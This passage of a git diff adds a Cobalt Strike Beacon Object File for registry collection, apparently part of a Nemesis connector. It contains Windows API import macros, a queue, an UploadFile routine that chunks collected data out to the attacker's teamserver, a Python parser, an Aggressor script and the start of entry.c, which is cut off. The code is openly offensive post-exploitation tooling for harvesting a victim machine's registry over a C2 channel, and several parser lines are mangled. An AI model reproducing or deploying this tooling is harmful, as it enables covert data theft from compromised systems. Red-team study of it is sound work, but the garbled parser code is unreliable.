VERSION$GetFileVersionInfoA( + LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); +DECLSPEC_IMPORT WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, + LPCSTR lpSubBlock, + LPVOID *lplpBuffer, + PUINT puLen); + +#else + +#define intAlloc(size) \ + KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intRealloc(ptr, size) \ + (ptr) \ + ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, \ + size) \ + : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) +#define intZeroMemory(addr, size) MSVCRT$memset((addr), 0, size) + +#define KERNEL32$VirtualAlloc VirtualAlloc +#define KERNEL32$VirtualFree VirtualFree +#define KERNEL32$LocalAlloc LocalAlloc +#define KERNEL32$LocalFree LocalFree +#define KERNEL32$HeapAlloc HeapAlloc +#define KERNEL32$HeapReAlloc HeapReAlloc +#define KERNEL32$GetProcessHeap GetProcessHeap +#define KERNEL32$HeapFree HeapFree +#define Kernel32$FormatMessageA FormatMessageA +#define Kernel32$WideCharToMultiByte WideCharToMultiByte +#define KERNEL32$MultiByteToWideChar MultiByteToWideChar +#define KERNEL32$FileTimeToLocalFileTime FileTimeToLocalFileTime +#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime +#define KERNEL32$GetDateFormatW GetDateFormatW +#define KERNEL32$GetSystemTimeAsFileTime GetSystemTimeAsFileTime +#define KERNEL32$GetLocalTime GetLocalTime +#define KERNEL32$SystemTimeToFileTime SystemTimeToFileTime +#define KERNEL32$SystemTimeToTzSpecificLocalTime SystemTimeToTzSpecificLocalTime +#define KERNEL32$GlobalMemoryStatusEx GlobalMemoryStatusEx +#define KERNEL32$GetDiskFreeSpaceExA GetDiskFreeSpaceExA +#define KERNEL32$GetCurrentProcess GetCurrentProcess +#define KERNEL32$GetCurrentProcessId GetCurrentProcessId +#define KERNEL32$GetLastError GetLastError +#define KERNEL32$CloseHandle CloseHandle +#define KERNEL32$CreateThread CreateThread +#define KERNEL32$GetTickCount GetTickCount +#define KERNEL32$GetTickCount64 GetTickCount64 +#define KERNEL32$CreateFiber CreateFiber +#define KERNEL32$ConvertThreadToFiber ConvertThreadToFiber +#define KERNEL32$ConvertFiberToThread ConvertFiberToThread +#define KERNEL32$DeleteFiber DeleteFiber +#define KERNEL32$SwitchToFiber SwitchToFiber +#define KERNEL32$WaitForSingleObject WaitForSingleObject +#define KERNEL32$Sleep Sleep +#define KERNEL32$DeleteFileW DeleteFileW +#define KERNEL32$CreateFileW CreateFileW +#define KERNEL32$GetFileSize GetFileSize +#define KERNEL32$ReadFile ReadFile +#define KERNEL32$OpenProcess OpenProcess +#define KERNEL32$GetComputerNameExW GetComputerNameExW +#define KERNEL32$lstrlenW lstrlenW +#define KERNEL32$lstrcatW lstrcatW +#define KERNEL32$lstrcpynW lstrcpynW +#define KERNEL32$GetFullPathNameW GetFullPathNameW +#define KERNEL32$GetFileAttributesW GetFileAttributesW +#define KERNEL32$GetCurrentDirectoryW GetCurrentDirectoryW +#define KERNEL32$FindFirstFileW FindFirstFileW +#define KERNEL32$FindNextFileW FindNextFileW +#define KERNEL32$FindClose FindClose +#define KERNEL32$SetLastError SetLastError +#define KERNEL32$HeapAlloc HeapAlloc +#define KERNEL32$HeapReAlloc HeapReAlloc +#define KERNEL32$HeapFree HeapFree +#define MSVCRT$memset memset +#define KERNEL32$GlobalAlloc GlobalAlloc +#define KERNEL32$GlobalFree GlobalFree +#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings +#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA +#define KERNEL32$ExpandEnvironmentStringsW ExpandEnvironmentStringsW +#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot +#define KERNEL32$Process32First Process32First +#define KERNEL32$Process32Next Process32Next +#define KERNEL32$Module32First Module32First +#define KERNEL32$Module32Next Module32Next +#define KERNEL32$LoadLibraryA LoadLibraryA +#define KERNEL32$GetProcAddress GetProcAddress +#define KERNEL32$FreeLibrary FreeLibrary +#define KERNEL32$lstrlenA lstrlenA +#define KERNEL32$GetLocaleInfoEx GetLocaleInfoEx +#define KERNEL32$GetSystemDefaultLocaleName GetSystemDefaultLocaleName +#define KERNEL32$LocaleNameToLCID LocaleNameToLCID +#define KERNEL32$GetDateFormatEx GetDateFormatEx + +#define WTSAPI32$WTSEnumerateSessionsA WTSEnumerateSessionsA +#define WTSAPI32$WTSQuerySessionInformationA WTSQuerySessionInformationA +#define WTSAPI32$WTSFreeMemory WTSFreeMemory +#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo +#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo +#define IPHLPAPI$GetIpForwardTable GetIpForwardTable +#define IPHLPAPI$GetNetworkParams GetNetworkParams +#define IPHLPAPI$GetUdpTable GetUdpTable +#define IPHLPAPI$GetTcpTable GetTcpTable +#define IPHLPAPI$GetIpNetTable GetIpNetTable +#define MSVCRT$calloc calloc +#define MSVCRT$memcpy memcpy +#define MSVCRT$memcmp memcmp +#define MSVCRT$realloc realloc +#define MSVCRT$free free +#define MSVCRT$memset memset +#define MSVCRT$sprintf sprintf +#define MSVCRT$vsnprintf vsnprintf +#define MSVCRT$_snwprintf _snwprintf +#define MSVCRT$wcscpy_s wcscpy_s +#define MSVCRT$wcstombs wcstombs +#define MSVCRT$wcslen wcslen +#define MSVCRT$sprintf sprintf +#define MSVCRT$wcscmp wcscmp +#define MSVCRT$wcstok wcstok +#define MSVCRT$wcstok_s wcstok_s +#define MSVCRT$wcsstr wcsstr +#define MSVCRT$wcscat wcscat +#define MSVCRT$wcsncat wcsncat +#define MSVCRT$wcscpy wcscpy +#define MSVCRT$_wcsicmp _wcsicmp +#define MSVCRT$wcschr wcschr +#define MSVCRT$wcsncat wcsncat +#define MSVCRT$wcsrchr wcsrchr +#define MSVCRT$wcsrchr wcsrchr +#define MSVCRT$wcstoul wcstoul +#define MSVCRT$strcat strcat +#define MSVCRT$strnlen strnlen +#define MSVCRT$strlen strlen +#define MSVCRT$strcmp strcmp +#define MSVCRT$strncmp strncmp +#define MSVCRT$strcpy strcpy +#define MSVCRT$strstr strstr +#define MSVCRT$strchr strchr +#define MSVCRT$strtok strtok +#define MSVCRT$strtok_s strtok_s +#define MSVCRT$strtoul strtoul +#define DNSAPI$DnsQuery_A DnsQuery_A +#define DNSAPI$DnsFree DnsFree +#define WSOCK32$inet_addr inet_addr +#define WS2_32$closesocket closesocket +#define WS2_32$connect connect +#define WS2_32$freeaddrinfo freeaddrinfo +#define WS2_32$getaddrinfo getaddrinfo +#define WS2_32$htonl htonl +#define WS2_32$htons htons +#define WS2_32$inet_ntoa inet_ntoa +#define WS2_32$ioctlsocket ioctlsocket +#define WS2_32$select select +#define WS2_32$socket socket +#define WS2_32$__WSAFDIsSet __WSAFDIsSet +#define WS2_32$WSAGetLastError WSAGetLastError +#define NETAPI32$DsGetDcNameA DsGetDcNameA +#define NETAPI32$NetUserGetInfo NetUserGetInfo +#define NETAPI32$NetUserModalsGet NetUserModalsGet +#define NETAPI32$NetServerEnum NetServerEnum +#define NETAPI32$NetUserGetGroups NetUserGetGroups +#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups +#define NETAPI32$NetApiBufferFree NetApiBufferFree +#define NETAPI32$NetGetAnyDCName NetGetAnyDCName +#define NETAPI32$NetUserEnum NetUserEnum +#define NETAPI32$NetGroupGetUsers NetGroupGetUsers +#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation +#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum +#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers +#define NETAPI32$NetUserSetInfo NetUserSetInfo +#define NETAPI32$NetShareEnum NetShareEnum +#define NETAPI32$NetApiBufferFree NetApiBufferFree +#define NETAPI32$NetSessionEnum NetSessionEnum +#define MPR$WNetOpenEnumW WNetOpenEnumW +#define MPR$WNetEnumResourceW WNetEnumResourceW +#define MPR$WNetCloseEnum WNetCloseEnum +#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW +#define MPR$WNetGetConnectionW WNetGetConnectionW +#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW +#define MPR$WNetGetUserW WNetGetUserW +#define MPR$WNetAddConnection2W WNetAddConnection2W +#define MPR$WNetCancelConnection2W WNetCancelConnection2W +#define USER32$EnumDesktopWindows EnumDesktopWindows +#define USER32$IsWindowVisible IsWindowVisible +#define USER32$GetWindowTextA GetWindowTextA +#define USER32$GetClassNameA GetClassNameA +#define USER32$CharPrevW CharPrevW +#define USER32$FindWindowExA FindWindowExA +#define USER32$SendMessageA SendMessageA +#define USER32$GetWindowTextA GetWindowTextA +#define USER32$GetClassNameA GetClassNameA +#define USER32$EnumChildWindows EnumChildWindows +#define SECUR32$GetUserNameExA GetUserNameExA +#define SHLWAPI$StrStrIA StrStrIA +#define ADVAPI32$OpenProcessToken OpenProcessToken +#define ADVAPI32$GetTokenInformation GetTokenInformation +#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA +#define ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW \ + ConvertStringSecurityDescriptorToSecurityDescriptorW +#define ADVAPI32$LookupAccountSidA LookupAccountSidA +#define ADVAPI32$LookupAccountSidW LookupAccountSidW +#define ADVAPI32$LookupPrivilegeNameA LookupPrivilegeNameA +#define ADVAPI32$LookupPrivilegeDisplayNameA LookupPrivilegeDisplayNameA +#define ADVAPI32$OpenSCManagerA OpenSCManagerA +#define ADVAPI32$OpenServiceA OpenServiceA +#define ADVAPI32$QueryServiceStatus QueryServiceStatus +#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA +#define ADVAPI32$CloseServiceHandle CloseServiceHandle +#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA +#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx +#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A +#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A +#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA +#define ADVAPI32$CreateServiceA CreateServiceA +#define ADVAPI32$DeleteService DeleteService +#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW +#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW +#define ADVAPI32$RegCreateKeyA RegCreateKeyA +#define ADVAPI32$RegSetValueExA RegSetValueExA +#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA +#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA +#define ADVAPI32$RegCloseKey RegCloseKey +#define ADVAPI32$RegOpenKeyA RegOpenKeyA +#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA +#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA +#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA +#define ADVAPI32$RegQueryValueExA RegQueryValueExA +#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA +#define ADVAPI32$RegEnumValueA RegEnumValueA +#define ADVAPI32$RegEnumValueW RegEnumValueW +#define ADVAPI32$RegQueryInfoKeyW RegQueryInfoKeyW +#define ADVAPI32$RegEnumKeyExW RegEnumKeyExW +#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA +#define ADVAPI32$RegDeleteValueA RegDeleteValueA +#define ADVAPI32$RegQueryValueExW RegQueryValueExW +#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA +#define ADVAPI32$GetFileSecurityW GetFileSecurityW +#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner +#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl +#define ADVAPI32$GetAclInformation GetAclInformation +#define ADVAPI32$GetAce GetAce +#define ADVAPI32$LookupAccountSidW LookupAccountSidW +#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW +#define ADVAPI32$MapGenericMask MapGenericMask +#define ADVAPI32$OpenProcessToken OpenProcessToken +#define ADVAPI32$GetTokenInformation GetTokenInformation +#define ADVAPI32$InitializeSecurityDescriptor InitializeSecurityDescriptor +#define ADVAPI32$SetSecurityDescriptorDacl SetSecurityDescriptorDacl +#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW \ + ConvertSecurityDescriptorToStringSecurityDescriptorW +#define ADVAPI32$StartServiceA StartServiceA +#define ADVAPI32$ControlService ControlService +#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA +#define NTDLL$NtCreateFile NtCreateFile +#define NTDLL$NtClose NtClose +#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates +#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader +#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData +#define CRYPT32$CryptVerifyMessageSignature CryptVerifyMessageSignature +#define CRYPT32$CertGetNameStringW CertGetNameStringW +#define CRYPT32$CertGetCertificateContextProperty \ + CertGetCertificateContextProperty +#define CRYPT32$CertCreateCertificateContext CertCreateCertificateContext +#define CRYPT32$CertFreeCertificateContext CertFreeCertificateContext +#define CRYPT32$CertGetCertificateChain CertGetCertificateChain +#define CRYPT32$CertFreeCertificateChain CertFreeCertificateChain +#define CRYPT32$CryptFindOIDInfo CryptFindOIDInfo +#define WS2_32$InetNtopW InetNtopW +#define WS2_32$inet_pton inet_pton +#define DNSAPI$DnsFree DnsFree +#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable +#define OLE32$CoInitializeEx CoInitializeEx +#define OLE32$CoUninitialize CoUninitialize +#define OLE32$CoInitializeSecurity CoInitializeSecurity +#define OLE32$CoCreateInstance CoCreateInstance +#define OLE32$CLSIDFromString CLSIDFromString +#define OLE32$IIDFromString IIDFromString +#define OLE32$StringFromGUID2 StringFromGUID2 +#define OLE32$CoSetProxyBlanket CoSetProxyBlanket +#define OLE32$CoTaskMemAlloc CoTaskMemAlloc +#define OLE32$CoTaskMemFree CoTaskMemFree +#define OLEAUT32$SysAllocString SysAllocString +#define OLEAUT32$SysReAllocString SysReAllocString +#define OLEAUT32$SysFreeString SysFreeString +#define OLEAUT32$SysStringLen SysStringLen +#define OLEAUT32$VariantInit VariantInit +#define OLEAUT32$VariantClear VariantClear +#define OLEAUT32$SysAddRefString SysAddRefString +#define OLEAUT32$VariantChangeType VariantChangeType +#define OLEAUT32$VarFormatDateTime VarFormatDateTime +#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy +#define OLEAUT32$SafeArrayLock SafeArrayLock +#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound +#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound +#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement +#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize +#define OLEAUT32$SafeArrayAccessData SafeArrayAccessData +#define OLEAUT32$SafeArrayUnaccessData SafeArrayUnaccessData + +/* +#define CERTCLI$CAEnumFirstCA CAEnumFirstCA +#define CERTCLI$CAEnumNextCA CAEnumNextCA +#define CERTCLI$CACloseCA CACloseCA +#define CERTCLI$CACountCAs CACountCAs +#define CERTCLI$CAGetDN CAGetDN +#define CERTCLI$CAGetCAProperty CAGetCAProperty +#define CERTCLI$CAFreeCAProperty CAFreeCAProperty +#define CERTCLI$CAGetCAFlags CAGetCAFlags +#define CERTCLI$CAGetCACertificate CAGetCACertificate +#define CERTCLI$CAGetCAExpiration CAGetCAExpiration +#define CERTCLI$CAGetCASecurity CAGetCASecurity +#define CERTCLI$CAGetAccessRights CAGetAccessRights +#define CERTCLI$CAEnumCertTypesForCA CAEnumCertTypesForCA +#define CERTCLI$CAEnumCertTypes CAEnumCertTypes +#define CERTCLI$CAEnumNextCertType CAEnumNextCertType +#define CERTCLI$CACountCertTypes CACountCertTypes +#define CERTCLI$CACloseCertType CACloseCertType +#define CERTCLI$CAGetCertTypeProperty CAGetCertTypeProperty +#define CERTCLI$CAGetCertTypePropertyEx CAGetCertTypePropertyEx +#define CERTCLI$CAFreeCertTypeProperty CAFreeCertTypeProperty +#define CERTCLI$CAGetCertTypeExtensionsEx CAGetCertTypeExtensionsEx +#define CERTCLI$CAFreeCertTypeExtensions CAFreeCertTypeExtensions +#define CERTCLI$CAGetCertTypeFlagsEx CAGetCertTypeFlagsEx +#define CERTCLI$CAGetCertTypeExpiration CAGetCertTypeExpiration +#define CERTCLI$CACertTypeGetSecurity CACertTypeGetSecurity +#define CERTCLI$CAGetCertTypeAccessRights CAGetCertTypeAccessRights +#define CERTCLI$caTranslateFileTimePeriodToPeriodUnits +caTranslateFileTimePeriodToPeriodUnits +*/ + +#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump +#define WLDAP32$ldap_init ldap_init +#define WLDAP32$ldap_bind_s ldap_bind_s +#define WLDAP32$ldap_search_s ldap_search_s +#define WLDAP32$ldap_count_entries ldap_count_entries +#define WLDAP32$ldap_get_values_lenA ldap_get_values_lenA +#define WLDAP32$ldap_value_free_len ldap_value_free_len +#define WLDAP32$ldap_set_optionA ldap_set_optionA +#define WLDAP32$ldap_search_init_pageA ldap_search_init_pageA +#define WLDAP32$ldap_get_paged_count ldap_get_paged_count +#define WLDAP32$ldap_get_next_page_s ldap_get_next_page_s +#define WLDAP32$ldap_first_entry ldap_first_entry +#define WLDAP32$ldap_next_entry ldap_next_entry +#define WLDAP32$ldap_first_attribute ldap_first_attribute +#define WLDAP32$ldap_count_values ldap_count_values +#define WLDAP32$ldap_get_values ldap_get_values +#define WLDAP32$ldap_value_free ldap_value_free +#define WLDAP32$ldap_next_attribute ldap_next_attribute +#define WLDAP32$ber_free ber_free +#define WLDAP32$ldap_memfree ldap_memfree +#define WLDAP32$ldap_unbind ldap_unbind +#define WLDAP32$ldap_unbind_s ldap_unbind_s +#define WLDAP32$ldap_msgfree ldap_msgfree +#define RPCRT4$UuidToStringA UuidToStringA +#define RPCRT4$RpcStringFreeA RpcStringFreeA +#define PSAPI$EnumProcessModulesEx EnumProcessModulesEx +#define PSAPI$GetModuleFileNameExA GetModuleFileNameExA +#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA +#define VERSION$GetFileVersionInfoA GetFileVersionInfoA +#define VERSION$VerQueryValueA VerQueryValueA +#define MSVCRT$time time +#define MSVCRT$srand srand +#define MSVCRT$rand rand +#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__) +#define internal_printf printf +#endif \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c new file mode 100644 index 0000000..927307b --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c @@ -0,0 +1,75 @@ +#include "bofdefs.h" + +// Not if anyone else adopts or looks at this +// Its not threadsafe +typedef struct _item { + void *elem; + struct _item *next; +} item, *Pitem; + +typedef struct _queue { + Pitem head; + Pitem tail; + void (*push)(struct _queue *, void *); + void *(*pop)(struct _queue *); + void (*free)(struct _queue *); + int (*size)(struct _queue *); +} queue, *Pqueue; + +int _size(Pqueue q) { + int retval = 0; + Pitem i = q->head; + while (i != NULL) { + retval++; + i = i->next; + } + return retval; +} +void _push(Pqueue q, void *v) { + Pitem i = (Pitem)intAlloc(sizeof(item)); + i->elem = v; + if (q->head == NULL && q->tail == NULL) // empty + { + q->head = i; + q->tail = i; + i->next = NULL; + } else // not empty + { + q->tail->next = i; + q->tail = i; + } +} +void *_pop(Pqueue q) { + void *retval = NULL; + Pitem i = NULL; + if (q->head == NULL && q->tail == NULL) // empty + { + return NULL; + } + retval = q->head->elem; // scanbuild false positive + if (q->head == q->tail) // last elem + { + intFree(q->head); + q->head = NULL; + q->tail = NULL; + } else // not the last item + { + i = q->head; + q->head = q->head->next; + intFree(i); + } + return retval; +} + +void _free(Pqueue q) { intFree(q); } + +Pqueue queueInit() { + Pqueue q = (Pqueue)intAlloc(sizeof(queue)); + q->head = NULL; + q->tail = NULL; + q->push = _push; + q->pop = _pop; + q->free = _free; + q->size = _size; + return q; +} \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c new file mode 100644 index 0000000..0c9e26f --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c @@ -0,0 +1,90 @@ +#include "bofdefs.h" + +#define CALLBACK_FILE 0x02 +#define CALLBACK_FILE_WRITE 0x08 +#define CALLBACK_FILE_CLOSE 0x09 +#define CHUNK_SIZE 0xe1000 + +// https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728 +BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) { + int fileNameLength = MSVCRT$strnlen(fileName, 256); + + // intializes the random number generator + time_t t; + MSVCRT$srand((unsigned)MSVCRT$time(&t)); + + // generate a 4 byte random id, rand max value is 0x7fff + ULONG32 fileId = 0; + fileId |= (MSVCRT$rand() & 0x7FFF) << 0x11; + fileId |= (MSVCRT$rand() & 0x7FFF) << 0x02; + fileId |= (MSVCRT$rand() & 0x0003) << 0x00; + + // 8 bytes for fileId and fileLength + int messageLength = 8 + fileNameLength; + char *packedData = intAlloc(messageLength); + if (!packedData) { + BeaconPrintf(CALLBACK_ERROR, "Could not download the dump"); + return FALSE; + } + + // pack on fileId as 4-byte int first + packedData[0] = (fileId >> 0x18) & 0xFF; + packedData[1] = (fileId >> 0x10) & 0xFF; + packedData[2] = (fileId >> 0x08) & 0xFF; + packedData[3] = (fileId >> 0x00) & 0xFF; + + // pack on fileLength as 4-byte int second + packedData[4] = (fileLength >> 0x18) & 0xFF; + packedData[5] = (fileLength >> 0x10) & 0xFF; + packedData[6] = (fileLength >> 0x08) & 0xFF; + packedData[7] = (fileLength >> 0x00) & 0xFF; + + // pack on the file name last + for (int i = 0; i < fileNameLength; i++) { + packedData[8 + i] = fileName[i]; + } + + // tell the teamserver that we want to download a file + BeaconOutput(CALLBACK_FILE, packedData, messageLength); + intFree(packedData); + packedData = NULL; + + // we use the same memory region for all chucks + int chunkLength = 4 + CHUNK_SIZE; + char *packedChunk = intAlloc(chunkLength); + if (!packedChunk) { + BeaconPrintf(CALLBACK_ERROR, "Could not download the dump"); + return FALSE; + } + // the fileId is the same for all chunks + packedChunk[0] = (fileId >> 0x18) & 0xFF; + packedChunk[1] = (fileId >> 0x10) & 0xFF; + packedChunk[2] = (fileId >> 0x08) & 0xFF; + packedChunk[3] = (fileId >> 0x00) & 0xFF; + + ULONG32 exfiltrated = 0; + while (exfiltrated < fileLength) { + // send the file content by chunks + chunkLength = fileLength - exfiltrated > CHUNK_SIZE + ? CHUNK_SIZE + : fileLength - exfiltrated; + ULONG32 chunkIndex = 4; + for (ULONG32 i = exfiltrated; i < exfiltrated + chunkLength; i++) { + packedChunk[chunkIndex++] = fileData[i]; + } + // send a chunk + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, 4 + chunkLength); + exfiltrated += chunkLength; + } + intFree(packedChunk); + packedChunk = NULL; + + // tell the teamserver that we are done writing to this fileId + char packedClose[4]; + packedClose[0] = (fileId >> 0x18) & 0xFF; + packedClose[1] = (fileId >> 0x10) & 0xFF; + packedClose[2] = (fileId >> 0x08) & 0xFF; + packedClose[3] = (fileId >> 0x00) & 0xFF; + BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); + return TRUE; +} \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py new file mode 100644 index 0000000..1a6e329 --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py @@ -0,0 +1,106 @@ +import struct +from typing import Tuple, NamedTuple, Union, List +import sys +import json + +REG_NONE = 0 +REG_SZ = 1 +REG_EXPAND_SZ = 2 +REG_BINARY = 3 +REG_DWORD = 4 +REG_DWORD_BIG_ENDIAN = 5 +REG_LINK = 6 +REG_MULTI_SZ = 7 +# REG_RESOURCE_LIST = 8 +# REG_FULL_RESOURCE_DESCRIPTOR = 9 +# REG_RESOURCE_REQUIREMENTS_LIST = 10 +REG_QWORD = 11 + +def read_unsigned_int(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack('>I', data[:4]), data[4:] + return ret, data + +def read_unsigned_long(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack(' Tuple[int, bytes]: + (ret,), data = struct.unpack('>L', data[:4]), data[4:] + return ret, data + +def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack(' Tuple[bytes, bytes]: + (ret,) = struct.unpack(f'>{length}s', data[:length]) + return ret, data[length:] + +def read_string(data: bytes) -> Tuple[bytes, int, bytes]: + size, data = read_unsigned_int(data) + if size == 0: + return b'', size, data + ret, data = read_fixed_string(data, size) + return ret, size, data + +class RegKey(NamedTuple): + type_: int + path: str + path_size: int + key: str + key_size: int + value: Union[bytes, int, List[bytes]] + value_size: int + +def read_key(data: bytes) -> Tuple[RegKey, bytes]: + type_, data = read_unsigned_int(data) + path, path_size, data = read_string(data) + path = path.decode('utf-16') + + key, key_size, data = read_string(data) + key = key.decode('utf-16') + + value = b'' + value_length = 0 + + if type_ == REG_NONE: + _, data = read_unsigned_int(data) + elif type_ == REG_DWORD: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long(data) + elif type_ == REG_BINARY: + value, value_length, data = read_string(data) + value = list(value) + elif type_ == REG_DWORD_BIG_ENDIAN: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long_be(data) + elif type_ == REG_MULTI_SZ: + value, value_length, data = read_string(data) + value = [v for v in value.decode('utf-16').split('\0') if v != ''] + elif type_ == REG_QWORD: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long_long(data) + else: + value, value_length, data = read_string(data) + value = value.decode('utf-16') + + return RegKey(type_, path, path_size, key, key_size, value, value_length), data + +if __name__ == '__main__': + if len(sys.argv) != 3: + print('Usage: python nemesis_reg_parser.py ') + sys.exit(1) + + input_path = sys.argv[1] + output_path = sys.argv[2] + + with open(input_path, 'rb') as f: + data = f.read() + arr = [] + arr_size, data = read_unsigned_int(data) + + for i in range(arr_size): + reg_key, data = read_key(data) + arr.append(reg_key._asdict()) + with open(output_path, 'w') as f: + json.dump(arr, f) diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna new file mode 100644 index 0000000..5367b56 --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna @@ -0,0 +1,41 @@ +sub readbof { + local('$barch $handle $data $msg'); + $barch = barch($1); + + # read in the right BOF file + println(script_resource("./build/ $+ $2 $+ . $+ $barch $+ .o")) + $handle = openf(script_resource("./build/ $+ $2 $+ . $+ $barch $+ .o")); + $data = readb($handle, -1); + closef($handle); + if(strlen($data) == 0) + { + berror($1, "could not read bof file"); + } + + $msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3); + blog($1, $msg); + btask($1, $msg); + return $data; +} + +alias bof_reg_collect { + local('$params $args $text'); + + if(size(@_) < 2) + { + berror($1, beacon_command_detail("bof_reg_collect")); + return; + } + + $hive = $2; + $path = $3; + + $args = bof_pack($1, "zzz", "bof_reg_collect.nemesis", $hive, $path); + beacon_inline_execute($1, readbof($1, "reg_collect", $msg), "go", $args); +} + +beacon_command_register( + "bof_reg_collect", + "Does Nemesis registry things", + "Usage: bof_reg_collect " +); \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c new file mode 100644 index 0000000..a7a4ca2 --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c @@ -0,0 +1,273 @@ +#include "beacon.h" +#include "bofdefs.h" +#include "queue.c" +#include "upload_file.c" +#include +#include + +#define MAX_KEY_LENGTH 255 +#define MAX_VALUE_NAME 16383 + +typedef struct _RegPath { + unsigned int type; + + unsigned int path_length; + wchar_t *path; + + unsigned int key_length; + wchar_t *key; + + unsigned int value_length; + wchar_t *value; +} RegPath; + +wchar_t *path_join(const wchar_t *path1, wchar_t *path2) { + int path1Length = MSVCRT$wcslen(path1); + int path2Length = MSVCRT$wcslen(path2); + int totalLength = path1Length + path2Length + 2; + wchar_t *joined_path = intAlloc(totalLength * sizeof(wchar_t)); + if (!joined_path) { + BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for joined path"); + return NULL; + } + MSVCRT$wcscpy(joined_path, path1); + MSVCRT$wcscat(joined_path, L"\\"); + MSVCRT$wcscat(joined_path, path2); + return joined_path; +} + +void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, + const wchar_t *key_path, bool recurse) { + HKEY target_reg_key; + DWORD rc1, rc2, rc3, rc4; + + if ((rc1 = ADVAPI32$RegOpenKeyExW(hive, key_path, 0, + KEY_READ | KEY_ENUMERATE_SUB_KEYS | + KEY_QUERY_VALUE, + &target_reg_key)) == ERROR_SUCCESS) { + WCHAR 